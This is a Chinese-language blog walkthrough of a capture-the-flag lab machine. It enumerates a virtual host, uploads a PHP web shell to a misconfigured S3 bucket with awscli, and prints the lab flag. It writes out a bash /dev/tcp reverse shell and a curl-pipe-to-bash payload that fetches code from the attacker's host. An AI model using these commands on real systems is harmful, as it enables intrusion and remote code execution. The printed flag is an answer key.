• s3存储容器与awscli的交互


    介绍

    各种类型、规模和行业的组织都在将云用于各种用例,例如数据备份、存储、灾难恢复、电子邮件、虚拟桌面、软件开发和测试等。因此,为公司的云基础架构提供安全配置以防止任何攻击至关重要。试验的靶机,该网站利用AWS S3存储桶作为其云存储设备。我们可以利用这个配置不佳的 S3 存储桶并在其上上传反向外壳。然后,我们可以访问相应的 URL 来执行反向文件并最终检索标志。

    注意:请在生成后让机器有几分钟的时间正常启动,因为需要几分钟的加载时间。

    列举

    首先,我们将使用 Nmap 扫描检查开放端口:

    nmap -sV 10.129.227.248
    
    • 1

    在这里插入图片描述

    扫描显示端口 80(HTTP)和端口 (22SSH)两个端口已打开 - 使用我们的网络浏览器访问80端口。

    http://10.129.227.248/
    
    • 1

    在这里插入图片描述

    我们可以看到一个静态网页,其中包含音乐会门票预订部分,但它不起作用。让我们进一步尝试使用称为Wappalyzer的浏览器扩展来识别网站的技术堆栈。我们可以访问该网站,然后单击扩展图标以显示结果。

    在这里插入图片描述

    Wappalyzer将PHP识别为网站正在使用的编程语言。

    向下滚动网页后,我们会看到“联系人”部分,其中包含电子邮件信息。这里给出的电子邮件有域名thetoppers.htb。

    在这里插入图片描述

    让我们添加一个条目thetoppers.htb具有相应 IP 地址在/etc/hosts文件里面,以便能够,在我们的浏览器中访问此域。

    /etc/hosts文件用于将主机名解析为 IP 地址。默认情况下,/etc/hosts文件是能够在 DNS 服务器之前查询主机名解析,因此我们需要在/etc/hosts文件里面添加主域名,以使浏览器能够解析thetoppers.htb 的地址。

    echo "10.129.227.248 thetoppers.htb" | sudo tee -a /etc/hosts
    
    • 1

    在这里插入图片描述

    什么是子域?

    子域名是添加到网站域名开头的一条附加信息。它允许网站将特定功能(例如博客或在线商店)的内容与网站的其余部分分开和组织。

    例如,如果我们访问hackthebox.com 则可以访问主网站。或者,我们可以访问ctf.hackthebox.com网站中用于 CTF 的部分。在这种情况下,ctf是子域,hackthebox是主域名,并且com是顶级域 (TLD)。虽然网址略有变化,您仍在HTB的网站上,在HTB的域下。

    通常,不同的子域将具有不同的IP地址,因此当我们的系统查找子域时,它会获取处理该应用程序的服务器的地址。也可以让一个服务器处理多个子域。这是通过“基于主机的路由”或“虚拟主机路由”完成的,其中服务器使用 HTTP 请求中的 Host 标头来确定哪个应用程序用于处理请求。

    由于我们有域thetoppers.htb,让我们枚举可能存在于同一服务器上的任何其他子域。有不同的枚举工具可用于此目的,如gobuster,wfuzz等等,在撰写本文时,我们将使用以下命令在对子域枚举的时候。

    gobuster vhost -w /opt/useful/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u http://thetoppers.htb --append-domain
    
    • 1

    我们将使用以下标志进行破坏。

    vhost:使用 VHOST 进行暴力破解
    
    -w :单词列表的路径
    
    -u :指定网址
    
    • 1
    • 2
    • 3
    • 4
    • 5

    注意:如果使用Gobuster版本3.2.0及更高版本,我们还必须将–append-domain标志添加到我们的命令,以便枚举考虑已知的虚拟主机 (thetoppers.htb),并将其附加到单词列表 (word.thetoppers.htb) 中找到的单词。

    gobuster将发送带有看起来像下面主机标头的请求

    host: [word].thetoppers.htb
    
    • 1

    它将记录默认响应,并显示任何返回不同内容的响应。

    在这里插入图片描述

    结果表明存在一个名为s3.thetoppers.htb的子域。让我们也添加一个此子域的条目在/etc/hosts文件中。

    echo "10.129.227.248 s3.thetoppers.htb" | sudo tee -a /etc/hosts
    
    • 1

    在这里插入图片描述

    将域的条目添加到主机文件后,让我们使用浏览器访问。

    在这里插入图片描述

    该网页仅包含JSON。

    {“状态”:“正在运行”}

    注意:如果您收到的不是 JSON,而是代理错误,请给框几分钟时间以正确启动。

    什么是 S3 存储桶?

    快速 Google 搜索会返回包含关键字“s3 子域状态正在运行”的结果,指出S3是一个基于云的对象存储服务。它允许我们将东西存储在称为桶的容器中。S3 存储桶具有各种用例,包括备份和存储、媒体托管、软件交付、静态网站等。存储在 Amazon S3 存储桶中的文件称为 S3 对象。

    我们可以借助s3存储桶与awscli进行交互。linux安装命令apt install awscli

    首先,我们需要使用以下命令对其进行配置。

    我们将对所有字段使用任意值,因为有时服务器配置为不检查亚马逊云服务器身份验证(尽管如此,它必须配置为某些东西才能工作)。

    aws configure
    
    • 1

    在这里插入图片描述

    我们可以使用该命令列出服务器托管的所有 S3 存储桶。

    aws --endpoint=http://s3.thetoppers.htb s3 ls
    
    • 1

    在这里插入图片描述

    我们还可以使用该命令列出指定存储桶下的对象和通用前缀。

    aws --endpoint=http://s3.thetoppers.htb s3 ls s3://thetoppers.htb
    
    • 1

    在这里插入图片描述

    我们看到文件index.php,.htaccess和一个名为images的目录在指定的存储桶中。好像是在端口 80 上运行的网站的 Webroot。因此,Apache 服务器使用此 S3 存储桶作为存储。

    awscli还有另一个功能,允许我们将文件复制到远程存储桶。我们已经知道网站正在使用 PHP。因此,我们可以尝试将 PHP shell 文件上传到s3存储桶,因为它已上传到Webroot目录我们可以在浏览器中访问此网页,而浏览器又将执行此文件,我们将实现远程代码执行。

    我们可以使用以下 PHP 单行代码,它使用system()函数采取URL参数cmd作为输入并将其作为系统命令执行。

    
    
    • 1

    让我们创建一个要上传的 PHP 文件。

    echo '' > shell.php
    
    • 1

    在这里插入图片描述

    然后,我们可以使用以下命令将此 PHP shell 上传到 thetoppers.htbS3 存储桶。

    aws --endpoint=http://s3.thetoppers.htb s3 cp shell.php s3://thetoppers.htb
    
    • 1

    在这里插入图片描述

    使用 URL 参数cmd 执行操作系统命令。

    http://thetoppers.htb/shell.php?cmd=id
    
    • 1

    在这里插入图片描述

    来自服务器的响应包含操作系统命令 id 的输出,该命令ID 验证了我们在靶机上执行了代码。因此,现在让我们尝试获得一个反向外壳。

    通过反向外壳,我们将触发远程主机连接回本地计算机的 IP 地址指定的侦听端口。我们可以使用以下方法获取本地计算机的tun0 IP 地址命令。

    ifconfig
    
    • 1

    在这里插入图片描述

    让我们通过创建一个包含以下 bash 反向 shell 有效负载的新文件shell.sh来获取反向 shell。它将在端口1337 上连接回我们的本地计算机。

    #!/bin/bash
    bash -i >& /dev/tcp/10.10.16.25/1337 0>&1
    
    • 1
    • 2

    在这里插入图片描述

    我们将使用以下命令开启一个ncat去侦听本地端口1337上的侦听器。

    nc -nvlp 1337
    
    • 1

    在这里插入图片描述

    让我们在本地计算机上启动一个 Web 服务器端口 8000并托管此 bash 文件。这里必须注意此用于托管 Web 服务器的命令必须从包含反向 shell 文件的目录运行。因此,我们必须首先遍历到相应的目录,然后运行以下命令。

    python3 -m http.server 8000
    
    • 1

    在这里插入图片描述

    我们可以使用该实用程序从本地主机获取 bash 反向 shell 文件,然后将其通过管道传输到bash为了执行它。因此,让我们在浏览器中访问以下包含有效负载的 URL。

    http://thetoppers.htb/shell.php?cmd=curl%2010.10.16.15:8000/shell.sh|bash
    
    • 1

    在这里插入图片描述

    我们在相应的侦听端口上收到一个反向外壳。

    cat /var/www/flag.txt
    
    • 1

    在这里插入图片描述

    该标志可以在/var/www/flag.txt找到。

    a980d99281a28d638ac68b9bf9453c2b

  • 相关阅读:
    (十六)网络编程
    【图论】判环问题
    Java小技能:多级菜单排序并返回树结构菜单列表
    (2023|CVPR,中文,扩散,知识增强,去噪专家组合)ERNIE-ViLG 2.0:利用知识增强的去噪专家组合改进文本到图像扩散模型
    mysql8绿色版安装教程
    罗马数字转整数
    Redis 中 Set 数据结构详解
    Java 复习 final和静态类不能被继承
    字符串的基本运用
    MySQL数据库备份与恢复 未完成版。。。
  • 原文地址:https://blog.csdn.net/m0_53008479/article/details/127644579